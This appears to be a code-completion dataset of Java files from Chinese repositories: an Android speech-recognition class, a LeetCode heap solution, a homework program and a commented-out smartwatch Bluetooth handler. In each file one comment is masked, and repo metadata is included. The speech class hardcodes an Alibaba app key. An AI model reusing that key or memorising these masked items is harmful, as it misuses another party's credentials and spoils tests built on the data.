e.printStackTrace();
}
return params;
}
public void stopDialog(Handler mHandler) {
mHandler.post(new Runnable() {
@Override
public void run() {
int ret = nui_instance.stopDialog();
}
});
}
protected void onStart(Handler mHandler) {
startDialog(mHandler);
gpt.onStart();
}
protected void onStop() {
nui_instance.stopDialog();
gpt.onStop();
}
public GPT getGpt() {
return gpt;
}
} | 17796225421/AILive | app/src/main/java/com/example/ailive/ASR.java | 2,343 | // 语音断句检测阈值,静音时长超过该阈值被认为断句。取值范围:200ms~2000ms,默认值:800ms。 | line_comment | zh-cn | package com.example.ailive;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Context;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import com.alibaba.fastjson.JSONException;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.idst.nui.AsrResult;
import com.alibaba.idst.nui.CommonUtils;
import com.alibaba.idst.nui.Constants;
import com.alibaba.idst.nui.INativeNuiCallback;
import com.alibaba.idst.nui.KwsResult;
import com.alibaba.idst.nui.NativeNui;
import com.example.ailive.token.AccessToken;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
public class ASR implements INativeNuiCallback {
// ASR 相关的方法和变量
private static final String APPKEY = "8Xu8cELorObhV2cQ";
String token;
private static final String URL = "wss://nls-gateway.aliyuncs.com:443/ws/v1";
private AudioRecord mAudioRecorder;
private Context context;
private UI ui;
NativeNui nui_instance = new NativeNui();
final static int WAVE_FRAM_SIZE = 20 * 2 * 1 * 16000 / 1000; //20ms audio for 16k/16bit/mono
final static int SAMPLE_RATE = 16000;
AccessToken accessToken = AccessToken.getInstance();
private GPT gpt;
public ASR(Context context, UI ui) {
this.context = context;
this.ui = ui;
gpt = new GPT(ui, context);
Thread th = new Thread() {
@Override
public void run() {
try {
accessToken.apply();
} catch (IOException e) {
e.printStackTrace();
}
}
};
th.start();
try {
th.join(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
token = accessToken.getToken();
}
private static final List<String> STOP_COMMANDS = Arrays.asList("勾勒", "够了", "狗了", "勾了", "狗乐", "构乐", "购乐", "勾乐", "狗拉", "够拉", "勾拉", "过了", "国乐", "锅了", "郭乐", "果乐", "国拉", "过拉", "郭拉", "锅拉", "高子", "钩子", "停下来", "停下", "听下", "挺下", "停停停", "停下", "听下", "挺下", "亭下", "庭下", "廷下", "艇下", "葶下", "汀下", "铤下", "蜓下", "町下", "婷下", "停车", "听车", "挺车", "亭车", "庭车", "廷车", "艇车", "葶车", "汀车", "铤车", "蜓车", "町车", "婷车", "停步", "听步", "挺步", "亭步", "庭步", "廷步", "艇步", "葶步", "汀步", "铤步", "蜓步", "町步", "婷步"
// ... 其他可能的词
);
@SuppressLint("MissingPermission")
public void doInit() {
mAudioRecorder = new AudioRecord(MediaRecorder.AudioSource.VOICE_RECOGNITION, SAMPLE_RATE, AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, WAVE_FRAM_SIZE * 4000);
String workspace = CommonUtils.getModelPath(context);
int ret = nui_instance.initialize(this, genInitParams(workspace), Constants.LogLevel.LOG_LEVEL_VERBOSE, false);
nui_instance.setParams(genParams());
}
@Override
public void onNuiEventCallback(Constants.NuiEvent nuiEvent, int resultCode, int arg2, KwsResult kwsResult, AsrResult asrResult) {
if (nuiEvent == Constants.NuiEvent.EVENT_TRANSCRIBER_COMPLETE) {
ui.setButtonState(ui.getStartButton(), true);
ui.setButtonState(ui.getCancelButton(), false);
return;
}
if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_START) {
return;
}
if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_END) {
try {
org.json.JSONObject mainJsonObject = new org.json.JSONObject(asrResult.asrResult);
if (!mainJsonObject.has("payload")) {
return;
}
org.json.JSONObject payloadObject = mainJsonObject.getJSONObject("payload");
if (!payloadObject.has("result")) {
return;
}
String resultValue = payloadObject.getString("result");
// 检查结果长度
if (resultValue.length() < 5) {
for (String stopCommand : STOP_COMMANDS) {
if (resultValue.contains(stopCommand)) {
gpt.onStop();
gpt.onStart();
}
}
return; // 小于5个字,不进行任何处理,直接返回
}
ui.autonomousTime=Long.MAX_VALUE;
gpt.onStop();
gpt.onStart();
ui.showText(ui.getAskView(), "我:" + resultValue);
processInputText(resultValue);
} catch (Exception e) {
e.printStackTrace();
}
return;
}
if (nuiEvent == Constants.NuiEvent.EVENT_ASR_ERROR) {
return;
}
}
public void processInputText(String text) {
gpt.setAsrText(text);
gpt.processAsrText();
}
@Override
public int onNuiNeedAudioData(byte[] buffer, int len) {
return mAudioRecorder.read(buffer, 0, len);
}
@Override
public void onNuiAudioStateChanged(Constants.AudioState audioState) {
if (audioState == Constants.AudioState.STATE_OPEN) {
mAudioRecorder.startRecording();
return;
}
if (audioState == Constants.AudioState.STATE_CLOSE) {
mAudioRecorder.release();
return;
}
if (audioState == Constants.AudioState.STATE_PAUSE) {
mAudioRecorder.stop();
}
}
@Override
public void onNuiAudioRMSChanged(float v) {
}
@Override
public void onNuiVprEventCallback(Constants.NuiVprEvent nuiVprEvent) {
}
String genInitParams(String workspace) {
JSONObject object = new JSONObject();
object.put("app_key", APPKEY);
object.put("format", "MP3");
object.put("token", token);
object.put("device_id", Utils.getDeviceId());
object.put("url", URL);
object.put("workspace", workspace);
object.put("service_mode", Constants.ModeFullCloud);
return object.toString();
}
private String genParams() {
// 接口说明可见https://help.aliyun.com/document_detail/173528.html
JSONObject params = new JSONObject();
JSONObject nls_config = new JSONObject();
nls_config.put("enable_intermediate_result", false); // 是否返回中间识别结果,默认值:false。
nls_config.put("enable_punctuation_prediction", true); // 是否在后处理中添加标点,默认值:false。
nls_config.put("max_sentence_silence", 2000); // 语音 <SUF>
nls_config.put("disfluency", true); // 过滤语气词,即声音顺滑,默认值false
nls_config.put("speech_noise_threshold", 0.98); // 噪音参数阈值,取值范围:-1~+1。取值越接近+1,判定为噪音的越多,亦即有可能更多语音被当作噪音被拒绝掉。
params.put("nls_config", nls_config);
params.put("service_type", Constants.kServiceTypeSpeechTranscriber);
return params.toString();
}
public void startDialog(Handler mHandler) {
mHandler.post(new Runnable() {
@Override
public void run() {
int ret = nui_instance.startDialog(Constants.VadMode.TYPE_P2T, genDialogParams());
}
});
}
private String genDialogParams() {
String params = "";
try {
JSONObject dialog_param = new JSONObject();
params = dialog_param.toString();
} catch (JSONException e) {
e.printStackTrace();
}
return params;
}
public void stopDialog(Handler mHandler) {
mHandler.post(new Runnable() {
@Override
public void run() {
int ret = nui_instance.stopDialog();
}
});
}
protected void onStart(Handler mHandler) {
startDialog(mHandler);
gpt.onStart();
}
protected void onStop() {
nui_instance.stopDialog();
gpt.onStop();
}
public GPT getGpt() {
return gpt;
}
} | 0 |
42219_1 | class Solution {
// 时间复杂度:O(nlogk)O(nlogk)O(nlogk),nnn 表示数组的长度。首先,遍历一遍数组统计元素的频率,这一系列操作的时间复杂度是 O(n)O(n)O(n);接着,遍历用于存储元素频率的 map,如果元素的频率大于最小堆中顶部的元素,则将顶部的元素删除并将该元素加入堆中,这里维护堆的数目是 kkk,所以这一系列操作的时间复杂度是 O(nlogk)O(nlogk)O(nlogk) 的;因此,总的时间复杂度是 O(nlogk)O(nlogk)O(nlogk)。
// 空间复杂度:O(n)O(n)O(n),最坏情况下(每个元素都不同),map 需要存储 nnn 个键值对,优先队列需要存储 kkk 个元素,因此,空间复杂度是 O(n)O(n)O(n)。
public int[] topKFrequent(int[] nums, int k) {
// 使用字典,统计每个元素出现的次数,元素为键,元素出现的次数为值
HashMap<Integer,Integer> map = new HashMap();
for(int num : nums){
if (map.containsKey(num)) {
map.put(num, map.get(num) + 1);
} else {
map.put(num, 1);
}
}
// 遍历map,用最小堆保存频率最大的k个元素
PriorityQueue<Integer> pq = new PriorityQueue<>(new Comparator<Integer>() {
@Override
public int compare(Integer a, Integer b) {
return map.get(a) - map.get(b);
}
});
for (Integer key : map.keySet()) {
if (pq.size() < k) {
pq.add(key);
} else if (map.get(key) > map.get(pq.peek())) {
pq.remove();
pq.add(key);
}
}
// 取出最小堆中的元素
List<Integer> res = new ArrayList<>();
while (!pq.isEmpty()) {
res.add(pq.remove());
}
return res.stream().mapToInt(Integer::valueOf).toArray();
}
} | 1793523411/leetcode | code/347/java/Solution.java | 539 | // 空间复杂度:O(n)O(n)O(n),最坏情况下(每个元素都不同),map 需要存储 nnn 个键值对,优先队列需要存储 kkk 个元素,因此,空间复杂度是 O(n)O(n)O(n)。 | line_comment | zh-cn | class Solution {
// 时间复杂度:O(nlogk)O(nlogk)O(nlogk),nnn 表示数组的长度。首先,遍历一遍数组统计元素的频率,这一系列操作的时间复杂度是 O(n)O(n)O(n);接着,遍历用于存储元素频率的 map,如果元素的频率大于最小堆中顶部的元素,则将顶部的元素删除并将该元素加入堆中,这里维护堆的数目是 kkk,所以这一系列操作的时间复杂度是 O(nlogk)O(nlogk)O(nlogk) 的;因此,总的时间复杂度是 O(nlogk)O(nlogk)O(nlogk)。
// 空间 <SUF>
public int[] topKFrequent(int[] nums, int k) {
// 使用字典,统计每个元素出现的次数,元素为键,元素出现的次数为值
HashMap<Integer,Integer> map = new HashMap();
for(int num : nums){
if (map.containsKey(num)) {
map.put(num, map.get(num) + 1);
} else {
map.put(num, 1);
}
}
// 遍历map,用最小堆保存频率最大的k个元素
PriorityQueue<Integer> pq = new PriorityQueue<>(new Comparator<Integer>() {
@Override
public int compare(Integer a, Integer b) {
return map.get(a) - map.get(b);
}
});
for (Integer key : map.keySet()) {
if (pq.size() < k) {
pq.add(key);
} else if (map.get(key) > map.get(pq.peek())) {
pq.remove();
pq.add(key);
}
}
// 取出最小堆中的元素
List<Integer> res = new ArrayList<>();
while (!pq.isEmpty()) {
res.add(pq.remove());
}
return res.stream().mapToInt(Integer::valueOf).toArray();
}
} | 0 |
47076_5 | package Main;
import Units.COLOR;
import Units.OldMan;
// 此处为葫芦娃程序的入口
public class HuLuMain {
public static void main(String[] args) {
// 宇宙引擎诞生 场地初始化
Universe u = new Universe();
// 老爷爷诞生
u.oldMan = new OldMan("Old Man", 100, 100, u.mainGr);
// 老爷爷走上自己的场地
u.oldMan.getMeIn();
// 引擎展示场地情况
u.showTheGround();
// 老爷爷为各个葫芦娃接生(同时取名)
u.oldMan.giveBirth("Red Baby", COLOR.RED);
u.oldMan.giveBirth("Orange Baby", COLOR.ORANGE);
u.oldMan.giveBirth("Yellow Baby", COLOR.YELLOW);
u.oldMan.giveBirth("Green Baby", COLOR.GREEN);
u.oldMan.giveBirth("Cyan Baby", COLOR.CYAN);
u.oldMan.giveBirth("Blue Baby", COLOR.BLUE);
u.oldMan.giveBirth("Purple Baby", COLOR.PURPLE);
// 老爷爷让所有的葫芦娃走上场地
u.oldMan.getAllTheBabyIn();
// 引擎展示场地情况
u.showTheGround();
// 老爷爷让所有的葫芦娃走成一个有序的排列
u.oldMan.orderTheBabyToASeq();
// 引擎展示场地情况
u.showTheGround();
// 老爷爷让各个葫芦娃随机交换位置
u.oldMan.exchangeRandomly();
// 引擎展示场地情况
u.showTheGround();
// 老爷爷让各个葫芦娃自行商量交换位置以排成有序
u.oldMan.orderTheBabySwapToSort();
// 引擎展示场地情况
u.showTheGround();
}
}
| 181860029/java20-homework | 3-OOAdvanced/韩畅-171860551/src/Main/HuLuMain.java | 555 | // 老爷爷为各个葫芦娃接生(同时取名) | line_comment | zh-cn | package Main;
import Units.COLOR;
import Units.OldMan;
// 此处为葫芦娃程序的入口
public class HuLuMain {
public static void main(String[] args) {
// 宇宙引擎诞生 场地初始化
Universe u = new Universe();
// 老爷爷诞生
u.oldMan = new OldMan("Old Man", 100, 100, u.mainGr);
// 老爷爷走上自己的场地
u.oldMan.getMeIn();
// 引擎展示场地情况
u.showTheGround();
// 老爷 <SUF>
u.oldMan.giveBirth("Red Baby", COLOR.RED);
u.oldMan.giveBirth("Orange Baby", COLOR.ORANGE);
u.oldMan.giveBirth("Yellow Baby", COLOR.YELLOW);
u.oldMan.giveBirth("Green Baby", COLOR.GREEN);
u.oldMan.giveBirth("Cyan Baby", COLOR.CYAN);
u.oldMan.giveBirth("Blue Baby", COLOR.BLUE);
u.oldMan.giveBirth("Purple Baby", COLOR.PURPLE);
// 老爷爷让所有的葫芦娃走上场地
u.oldMan.getAllTheBabyIn();
// 引擎展示场地情况
u.showTheGround();
// 老爷爷让所有的葫芦娃走成一个有序的排列
u.oldMan.orderTheBabyToASeq();
// 引擎展示场地情况
u.showTheGround();
// 老爷爷让各个葫芦娃随机交换位置
u.oldMan.exchangeRandomly();
// 引擎展示场地情况
u.showTheGround();
// 老爷爷让各个葫芦娃自行商量交换位置以排成有序
u.oldMan.orderTheBabySwapToSort();
// 引擎展示场地情况
u.showTheGround();
}
}
| 1 |
56794_179 | //package com.example.bozhilun.android.h9.h9monitor;
//
//import android.util.Log;
//
//import com.example.bozhilun.android.B18I.evententity.B18iEventBus;
//import com.example.bozhilun.android.MyApp;
//import com.sdk.bluetooth.bean.BloodData;
//import com.sdk.bluetooth.bean.HeartData;
//import com.sdk.bluetooth.bean.SleepData;
//import com.sdk.bluetooth.bean.SportsData;
//import com.sdk.bluetooth.manage.AppsBluetoothManager;
//import com.sdk.bluetooth.manage.GlobalDataManager;
//import com.sdk.bluetooth.manage.GlobalVarManager;
//import com.sdk.bluetooth.protocol.command.base.BaseCommand;
//import com.sdk.bluetooth.protocol.command.base.CommandConstant;
//import com.sdk.bluetooth.protocol.command.bind.BindEnd;
//import com.sdk.bluetooth.protocol.command.bind.BindStart;
//import com.sdk.bluetooth.protocol.command.clear.ClearBloodData;
//import com.sdk.bluetooth.protocol.command.clear.ClearHeartData;
//import com.sdk.bluetooth.protocol.command.clear.ClearSleepData;
//import com.sdk.bluetooth.protocol.command.clear.ClearSportData;
//import com.sdk.bluetooth.protocol.command.count.AllDataCount;
//import com.sdk.bluetooth.protocol.command.data.DeviceDisplaySportSleep;
//import com.sdk.bluetooth.protocol.command.data.GetBloodData;
//import com.sdk.bluetooth.protocol.command.data.GetHeartData;
//import com.sdk.bluetooth.protocol.command.data.GetSleepData;
//import com.sdk.bluetooth.protocol.command.data.GetSportData;
//import com.sdk.bluetooth.protocol.command.data.RemindSetting;
//import com.sdk.bluetooth.protocol.command.data.SportSleepMode;
//import com.sdk.bluetooth.protocol.command.device.BatteryPower;
//import com.sdk.bluetooth.protocol.command.device.DateTime;
//import com.sdk.bluetooth.protocol.command.device.DeviceVersion;
//import com.sdk.bluetooth.protocol.command.device.Language;
//import com.sdk.bluetooth.protocol.command.device.Motor;
//import com.sdk.bluetooth.protocol.command.device.RestoreFactory;
//import com.sdk.bluetooth.protocol.command.device.TimeSurfaceSetting;
//import com.sdk.bluetooth.protocol.command.device.Unit;
//import com.sdk.bluetooth.protocol.command.device.WatchID;
//import com.sdk.bluetooth.protocol.command.expands.AutomaticCorrectionTime;
//import com.sdk.bluetooth.protocol.command.expands.CorrectionTime;
//import com.sdk.bluetooth.protocol.command.expands.Point2Zero;
//import com.sdk.bluetooth.protocol.command.expands.RemindCount;
//import com.sdk.bluetooth.protocol.command.expands.TurnPointers;
//import com.sdk.bluetooth.protocol.command.other.BloodStatus;
//import com.sdk.bluetooth.protocol.command.other.HeartStatus;
//import com.sdk.bluetooth.protocol.command.push.MsgCountPush;
//import com.sdk.bluetooth.protocol.command.setting.AutoSleep;
//import com.sdk.bluetooth.protocol.command.setting.GoalsSetting;
//import com.sdk.bluetooth.protocol.command.setting.HeartRateAlarm;
//import com.sdk.bluetooth.protocol.command.setting.SwitchSetting;
//import com.sdk.bluetooth.protocol.command.user.UserInfo;
//import com.sdk.bluetooth.utils.DateUtil;
//
//import org.greenrobot.eventbus.EventBus;
//
//import java.util.ArrayList;
//import java.util.Date;
//import java.util.LinkedList;
//import java.util.List;
//
///**
// * @aboutContent:
// * @author: 安
// * @crateTime: 2017/9/30 09:17
// * @mailBox: an.****.life@gmail.com
// * @company: 东莞速成科技有限公司
// */
//
//public class CommandResultCallback implements BaseCommand.CommandResultCallback {
//
// private final String TAG = "----->>>" + this.getClass().toString();
//
// public static CommandResultCallback getCommandResultCallback() {
// return new CommandResultCallback();
// }
//
// @Override
// public void onSuccess(BaseCommand baseCommand) {
// if ((baseCommand instanceof WatchID)) {//手表Id
// String watch = GlobalVarManager.getInstance().getWatchID();
// Log.d(TAG, "手表IDWatchID:---71---" + watch);
//// showTipDialog(watch);
// } else if (baseCommand instanceof DeviceVersion) {//设备版本
// String localVersion = GlobalVarManager.getInstance().getSoftVersion();
// Log.d(TAG, "设备版本DeviceVersion:---75---" + localVersion);
//// showTipDialog(localVersion);
// } else if (baseCommand instanceof BatteryPower) {//电池、电源
// Log.d(TAG, "电池、电源BatteryPower:---78---" + GlobalVarManager.getInstance().getBatteryPower() + "%");
//// showTipDialog(GlobalVarManager.getInstance().getBatteryPower() + "%");
// } else if (baseCommand instanceof TimeSurfaceSetting || baseCommand instanceof Unit || baseCommand instanceof Motor) {//时间显示格式、单位、马达震动
// Log.d(TAG, "时间显示格式TimeSurfaceSetting、单位Unit、马达震动Motor:---81---" + "设置成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof SportSleepMode) {//运动睡眠模式
// if (GlobalVarManager.getInstance().getSportSleepMode() == 0) {
// Log.d(TAG, "运动睡眠模式SportSleepMode:---85---" + "sport model");
//// showTipDialog("sport model");
// } else {
// Log.d(TAG, "运动睡眠模式SportSleepMode:---88---" + "sleep model");
//// showTipDialog("sleep model");
// }
// } else if (baseCommand instanceof DeviceDisplaySportSleep) {//运动睡眠显示装置
// Log.d(TAG, "运动睡眠显示装置DeviceDisplaySportSleep:---92---" + "步数Step:" + GlobalVarManager.getInstance().getDeviceDisplayStep() + "step" +
// "\n 卡路里Calorie:" + GlobalVarManager.getInstance().getDeviceDisplayCalorie() + "cal" +
// "\n 距离Distance:" + GlobalVarManager.getInstance().getDeviceDisplayDistance() + "m" +
// "\n 睡眠时间Sleep time:" + GlobalVarManager.getInstance().getDeviceDisplaySleep() + "min");
// List<String> deviceDisplaySportSleepList = new ArrayList<>();
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplayStep() + "");
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplayCalorie() + "");
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplayDistance() + "");
// deviceDisplaySportSleepList.add(GlobalVarManager.getInstance().getDeviceDisplaySleep() + "");
// EventBus.getDefault().post(new B18iEventBus("deviceDisplaySportSleepList", deviceDisplaySportSleepList));
//// showTipDialog("Step:" + GlobalVarManager.getInstance().getDeviceDisplayStep() + "step" +
//// "\n Calorie:" + GlobalVarManager.getInstance().getDeviceDisplayCalorie() + "cal" +
//// "\n Distance:" + GlobalVarManager.getInstance().getDeviceDisplayDistance() + "m" +
//// "\n Sleep time:" + GlobalVarManager.getInstance().getDeviceDisplaySleep() + "min");
// } else if (baseCommand instanceof BindStart || baseCommand instanceof UserInfo//绑定开始、用户信息
// || baseCommand instanceof BindEnd//绑定结束
// || baseCommand instanceof GoalsSetting//目标设置
// || baseCommand instanceof RestoreFactory || baseCommand instanceof Language) {//恢复出厂、语言
//// showTipDialog(getResources().getString(R.string.successful));
// Log.d(TAG, "绑定开始、用户信息、绑定结束、目标设置、恢复出厂、语言:---105---" + "其中一个设置成功");
// } else if (baseCommand instanceof DateTime) {//日期时间
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {//获取时间
//// showTipDialog(GlobalVarManager.getInstance().getDeviceDateTime());
// Log.d(TAG, "获取时间DateTime-get:---109---" + GlobalVarManager.getInstance().getDeviceDateTime());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {//设置时间
// Log.d(TAG, "获取时间DateTime-set:---112---" + "时间设置成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// } else if (baseCommand instanceof AutoSleep) {//自动休眠
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {//获取
// Log.d(TAG, "自动休眠AutoSleep-get:---117---" + "enter sleep:" + GlobalVarManager.getInstance().getEnterSleepHour() + "hour" +
// "\n enter sleep:" + GlobalVarManager.getInstance().getEnterSleepMin() + "min" +
// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepHour() + "hour" +
// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepMin() + "min" +
// "\n myremind sleep cycle:" + GlobalVarManager.getInstance().getRemindSleepCycle());
//// showTipDialog("enter sleep:" + GlobalVarManager.getInstance().getEnterSleepHour() + "hour" +
//// "\n enter sleep:" + GlobalVarManager.getInstance().getEnterSleepMin() + "min" +
//// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepHour() + "hour" +
//// "\n quit sleep:" + GlobalVarManager.getInstance().getQuitSleepMin() + "min" +
//// "\n myremind sleep cycle:" + GlobalVarManager.getInstance().getRemindSleepCycle());
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {//设置
// Log.d(TAG, "自动休眠AutoSleep-set:---124---" + "自动休眠设置成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// } else if (baseCommand instanceof GetSportData) {//获取运动数据
// //
// int step = 0;
// int calorie = 0;
// int distance = 0;
// if (GlobalDataManager.getInstance().getSportsDatas() == null) {
//// showTipDialog("null");
// } else {
// for (SportsData sportsData : GlobalDataManager.getInstance().getSportsDatas()) {
// step += sportsData.sport_steps;
// calorie += sportsData.sport_cal;
// distance += sportsData.sport_energy;
// }
// Log.d(TAG, "获取运动数据GetSportData:---145---"
// + "Step:" + step + "step" +
// "\n Calorie:" + calorie + "cal" +
// "\n Distance:" + distance + "m");
//// showTipDialog("Step:" + step + "step" +
//// "\n Calorie:" + calorie + "cal" +
//// "\n Distance:" + distance + "m");
// }
// } else if (baseCommand instanceof GetSleepData) {//获取睡眠数据
// if (GlobalDataManager.getInstance().getSleepDatas() == null) {
// Log.d(TAG, "获取睡眠数据:---155---" + "...null...");
//// showTipDialog("null");
// } else {
// LinkedList<SleepData> sleepDatas = GlobalDataManager.getInstance().getSleepDatas();
// EventBus.getDefault().post(new B18iEventBus("sleepDatas", sleepDatas));
// // sleepData.sleep_type
// // 0:睡着
// // 1:浅睡
// // 2:醒着
// // 3:准备入睡
// // 4:退出睡眠
// // 16:进入睡眠模式
// // 17:退出睡眠模式(本次睡眠非预设睡眠)
// // 18:退出睡眠模式(本次睡眠为预设睡眠)
// String sleepStr = "";
// for (SleepData sleepData : GlobalDataManager.getInstance().getSleepDatas()) {
// sleepStr = sleepStr + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepData.sleep_time_stamp * 1000)) + " 类型:" + sleepData.sleep_type + "\n";
// }
// Log.d(TAG, "获取睡眠数据:---171---" + sleepStr);
//// showTipDialog(sleepStr);
// }
// } else if (baseCommand instanceof ClearSportData) {//清除运动数据
// Log.d(TAG, "清除运动数据ClearSportData:---175---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof ClearSleepData) {//清除睡眠数据
// Log.d(TAG, "清除睡眠数据ClearSleepData:---178---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof SwitchSetting) {//通知开关
// if (baseCommand.getAction() == CommandConstant.ACTION_CHECK) {//读取
// // 防丢开关
// // 自动同步开关
// // 睡眠开关
// // 自动睡眠监测开关
// // 来电提醒开关
// // 未接来电提醒开关
// // 短信提醒开关
// // 社交提醒开关
// // 邮件提醒开关
// // 日历开关
// // 久坐提醒开关
// // 超低功耗功能开关
// // 二次提醒开关
//
// // 运动心率模式开关
// // FACEBOOK开关
// // TWITTER开关
// // INSTAGRAM开关
// // QQ开关
// // WECHAT开关
// // WHATSAPP开关
// // LINE开关
// Log.d(TAG, "通知开关SwitchSetting-read:---204---" + "isAntiLostSwitch:" + GlobalVarManager.getInstance().isAntiLostSwitch()
// + "\n isAutoSyncSwitch:" + GlobalVarManager.getInstance().isAutoSyncSwitch()
// + "\n isSleepSwitch:" + GlobalVarManager.getInstance().isSleepSwitch()
// + "\n isSleepStateSwitch:" + GlobalVarManager.getInstance().isSleepStateSwitch()
// + "\n isIncomePhoneSwitch:" + GlobalVarManager.getInstance().isIncomePhoneSwitch()
// + "\n isMissPhoneSwitch:" + GlobalVarManager.getInstance().isMissPhoneSwitch()
// + "\n isSmsSwitch:" + GlobalVarManager.getInstance().isSmsSwitch()
// + "\n isSocialSwitch:" + GlobalVarManager.getInstance().isSocialSwitch()
// + "\n isMailSwitch:" + GlobalVarManager.getInstance().isMailSwitch()
// + "\n isCalendarSwitch:" + GlobalVarManager.getInstance().isCalendarSwitch()
// + "\n isSedentarySwitch:" + GlobalVarManager.getInstance().isSedentarySwitch()
// + "\n isLowPowerSwitch:" + GlobalVarManager.getInstance().isLowPowerSwitch()
// + "\n isSecondRemindSwitch:" + GlobalVarManager.getInstance().isSecondRemindSwitch()
// + "\n isSportHRSwitch:" + GlobalVarManager.getInstance().isSportHRSwitch()
// + "\n isFacebookSwitch:" + GlobalVarManager.getInstance().isFacebookSwitch()
// + "\n isTwitterSwitch:" + GlobalVarManager.getInstance().isTwitterSwitch()
// + "\n isInstagamSwitch:" + GlobalVarManager.getInstance().isInstagamSwitch()
// + "\n isQqSwitch:" + GlobalVarManager.getInstance().isQqSwitch()
// + "\n isWechatSwitch:" + GlobalVarManager.getInstance().isWechatSwitch()
// + "\n isWhatsappSwitch:" + GlobalVarManager.getInstance().isWhatsappSwitch()
// + "\n isLineSwitch:" + GlobalVarManager.getInstance().isLineSwitch());
//// showTipDialog("isAntiLostSwitch:" + GlobalVarManager.getInstance().isAntiLostSwitch()
//// + "\n isAutoSyncSwitch:" + GlobalVarManager.getInstance().isAutoSyncSwitch()
//// + "\n isSleepSwitch:" + GlobalVarManager.getInstance().isSleepSwitch()
//// + "\n isSleepStateSwitch:" + GlobalVarManager.getInstance().isSleepStateSwitch()
//// + "\n isIncomePhoneSwitch:" + GlobalVarManager.getInstance().isIncomePhoneSwitch()
//// + "\n isMissPhoneSwitch:" + GlobalVarManager.getInstance().isMissPhoneSwitch()
//// + "\n isSmsSwitch:" + GlobalVarManager.getInstance().isSmsSwitch()
//// + "\n isSocialSwitch:" + GlobalVarManager.getInstance().isSocialSwitch()
//// + "\n isMailSwitch:" + GlobalVarManager.getInstance().isMailSwitch()
//// + "\n isCalendarSwitch:" + GlobalVarManager.getInstance().isCalendarSwitch()
//// + "\n isSedentarySwitch:" + GlobalVarManager.getInstance().isSedentarySwitch()
//// + "\n isLowPowerSwitch:" + GlobalVarManager.getInstance().isLowPowerSwitch()
//// + "\n isSecondRemindSwitch:" + GlobalVarManager.getInstance().isSecondRemindSwitch()
//// + "\n isSportHRSwitch:" + GlobalVarManager.getInstance().isSportHRSwitch()
//// + "\n isFacebookSwitch:" + GlobalVarManager.getInstance().isFacebookSwitch()
//// + "\n isTwitterSwitch:" + GlobalVarManager.getInstance().isTwitterSwitch()
//// + "\n isInstagamSwitch:" + GlobalVarManager.getInstance().isInstagamSwitch()
//// + "\n isQqSwitch:" + GlobalVarManager.getInstance().isQqSwitch()
//// + "\n isWechatSwitch:" + GlobalVarManager.getInstance().isWechatSwitch()
//// + "\n isWhatsappSwitch:" + GlobalVarManager.getInstance().isWhatsappSwitch()
//// + "\n isLineSwitch:" + GlobalVarManager.getInstance().isLineSwitch()
//// );
// }
// if (baseCommand.getAction() == CommandConstant.ACTION_SET) {//设置
// Log.d(TAG, "通知开关SwitchSetting-write:---249---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// } else if (baseCommand instanceof MsgCountPush) {
// Log.d(TAG, "MsgCountPush:---253---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof TurnPointers) {
// Log.d(TAG, "TurnPointers:---256---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof AutomaticCorrectionTime) {//自动校正时间
// Log.d(TAG, "自动校正时间AutomaticCorrectionTime:---259---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof CorrectionTime) {//校正时间
// Log.d(TAG, "校正时间CorrectionTime:---262---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// } else if (baseCommand instanceof Point2Zero) {//零点
// Log.d(TAG, "零点Point2Zero:---265---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
// //提醒相关
// else if (baseCommand instanceof RemindCount) {
// Log.d(TAG, "提醒数量RemindCount-read:---270---" + GlobalVarManager.getInstance().getRemindCount());
//// showTipDialog(GlobalVarManager.getInstance().getRemindCount() + "");
// } else if (baseCommand instanceof RemindSetting) {
// Log.d(TAG, "提醒数量RemindCount-set:---273---" + "成功");
//// showTipDialog(getResources().getString(R.string.successful));
// }
//
// // all data count
// if (baseCommand instanceof AllDataCount) {
// Log.d(TAG, "AllDataCount:---279---" + "SportCount:" + GlobalVarManager.getInstance().getSportCount()
// + "\n SleepCount:" + GlobalVarManager.getInstance().getSleepCount()
// + "\n HeartRateCount:" + GlobalVarManager.getInstance().getHeartRateCount()
// + "\n BloodCount:" + GlobalVarManager.getInstance().getBloodCount());
//// showTipDialog("SportCount:" + GlobalVarManager.getInstance().getSportCount()
//// + "\n SleepCount:" + GlobalVarManager.getInstance().getSleepCount()
//// + "\n HeartRateCount:" + GlobalVarManager.getInstance().getHeartRateCount()
//// + "\n BloodCount:" + GlobalVarManager.getInstance().getBloodCount()
//// );
// AppsBluetoothManager.getInstance(MyApp.getInstance())
